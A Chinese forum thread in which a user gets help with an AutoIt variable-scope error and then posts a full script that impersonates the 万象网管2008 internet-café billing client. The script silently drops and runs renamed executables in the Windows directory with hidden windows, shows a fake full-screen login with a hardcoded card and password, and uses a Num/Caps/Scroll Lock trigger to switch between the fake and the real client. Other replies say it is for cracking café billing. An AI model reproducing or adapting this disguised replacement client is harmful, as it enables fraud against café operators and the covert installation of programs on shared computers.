关于语法问题

qixinwb

Func jia()
FileInstall("E:\Bar.exe",@WindowsDir&"\DrvAnti.exe",1)
FileInstall("E:\Drv.exe",@WindowsDir&"\BarClientView.exe",1)
FileInstall("E:\Clsmn.exe",@DesktopDir&"\Clsmn.exe",1)
Run(@WindowsDir&"\BarClientView.exe","",@SW_HIDE)
Run(@WindowsDir&"\DrvAnti.exe","",@SW_HIDE)
FileInstall("E:\wx2008pic.jpg",@WindowsDir&"\wx2008pic.JPG",1)
FileInstall("E:\wx3.ico",@WindowsDir&"\wx2008.ico",1)
TraySetIcon(@WindowsDir&"\wx2008.ico","")  
        ;创建背景窗口
     GUICreate("万象网管2008标准版",@DesktopWidth,@DesktopHeight,"","",$WS_POPUP)
                $ID=GUICtrlCreateInput("",695,694,130,22 )
                GUISetStyle(-1,0)
                $pwd=GUICtrlCreateInput("",854,694,130,22)
                GUISetStyle(-1,0)
                $LOGON=GUICtrlCreateLabel("",1001,693,32,32);类button，登陆
                GUICtrlSetOnEvent($LOGON, "lab")
                GUICtrlCreatePic(@WindowsDir&"\wx2008pic.JPG", 0,0,@DesktopWidth, @DesktopHeight)
        GUISetState(@SW_SHOW)
        FileDelete(@DesktopDir&"\Clsmn.exe")
While 1
Sleep(100)
WEnd
        EndFunc       
Func lab()
        If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
         GUISetState(@SW_MINIMIZE)
Else
    ToolTip("此卡未激活！",1031,695)
        EndIf
EndFunc

提示$ID和$PWD未声明，烦请高手修改

a62105400

兄弟你要山寨万象？

a62105400

因为你创建$ID 和$PWD在 func 里    所以另一个func要用这些变量 需要 在最开始 globle $ID $PWD

a62105400

单词打错了  是 Global $ID,$pwd

a62105400

其实我是来刷金币的

qixinwb

自己摸索出来了，贴出来让新手学习下吧：

#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=e:\wx1.ico
#AutoIt3Wrapper_outfile=e:\wx2008-done.exe
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WindowsConstants.au3>
#include <GUIConstantsEx.au3>
Opt("TrayOnEventMode",1) ;应用/关闭 OnEvent 函数通知于系统托盘图标. 0 = (默认) 关闭 1 = 应用 
;~ Opt("GUIOnEventMode", 0) ;0=取消, 1=启用 OnEvent 模式
Opt("TrayMenuMode",1)   ;默认菜单项目 (脚本暂停中/退出)(Script Paused/Exit) 将不会显示. 
TraySetState(2)  ;卸载/隐藏 托盘图标

HotKeySet("+!P","quit") ;按Shift+ALT+P退出脚本

#include <WinAPI.au3>

Global Const $VK_CAPITAL  = 0x14
Global Const $VK_NUMLOCK  = 0x90
;~ Global Const $VK_SHIFT = 0x10
Global Const $VK_SCROLL=0x91

If _GetNumLock()=1 And _GetCapsLock()=1 And _GetScrollLock()=1 Then 
jia()
Else
        zhen()
        EndIf

Func _GetNumLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_NUMLOCK)
Return $ret[0]
EndFunc ;==>_GetNumLock

Func _GetScrollLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_SCROLL)
Return $ret[0]
EndFunc ;==>_GetScrollLock

Func _GetCapsLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_CAPITAL)
Return $ret[0]
EndFunc ;==>_GetCapsLock

Func jia()

FileInstall("E:\Bar.exe",@WindowsDir&"\DrvAnti.exe",1)
FileInstall("E:\Drv.exe",@WindowsDir&"\BarClientView.exe",1)
FileInstall("E:\Clsmn.exe",@DesktopDir&"\Clsmn.exe",1) ;真的Clsmn.exe
Run(@WindowsDir&"\BarClientView.exe","",@SW_HIDE)
Run(@WindowsDir&"\DrvAnti.exe","",@SW_HIDE)
FileInstall("E:\wx2008pic.jpg",@WindowsDir&"\wx2008pic.JPG",1)
FileInstall("E:\wx3.ico",@WindowsDir&"\wx2008.ico",1)
TraySetIcon(@WindowsDir&"\wx2008.ico","")  
        ;创建背景窗口
     GUICreate("万象网管2008标准版",@DesktopWidth,@DesktopHeight,"","",$WS_POPUP)
                $ID=GUICtrlCreateInput("",695,694,130,22 )
                GUISetStyle(-1,0)
                $pwd=GUICtrlCreateInput("",854,694,130,22)
                GUISetStyle(-1,0)
                $LOGON=GUICtrlCreateLabel("",1001,693,32,32);类button，登陆
;~                 GUICtrlSetOnEvent($LOGON, "lab")
                GUICtrlCreatePic(@WindowsDir&"\wx2008pic.JPG", 0,0,@DesktopWidth, @DesktopHeight)
        GUISetState(@SW_SHOW)
        FileDelete(@DesktopDir&"\Clsmn.exe")
        
Do  
        $msg = GUIGetMsg()
                Select
                                Case $msg=$LOGON
                                        If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
         GUISetState(@SW_MINIMIZE)
Else
    ToolTip("此卡未激活！",1031,695)
        EndIf
EndSelect
Until $msg = $GUI_EVENT_CLOSE
        EndFunc

Func zhen()
        FileDelete(@SystemDir&"\Clsmn.exe")
        FileInstall("E:\Clsmn.exe",@SystemDir&"\Clsmn.exe",1) ;真的Clsmn.exe
        Run(@SystemDir&"\Clsmn.exe","",@SW_HIDE)
EndFunc

Func quit()
        Exit 0
EndFunc

a62105400

为什么要3盏灯同时亮着才运行你的假万象？  难道这是最新破解万象的方法？3键同时按？

qixinwb

俺已经成功了。。。哈哈

自己看着办吧，我就不说那么详细了。相信看的懂代码的就知道怎么玩他了]

xyold1

自已拉根网线，想怎么玩就怎么玩，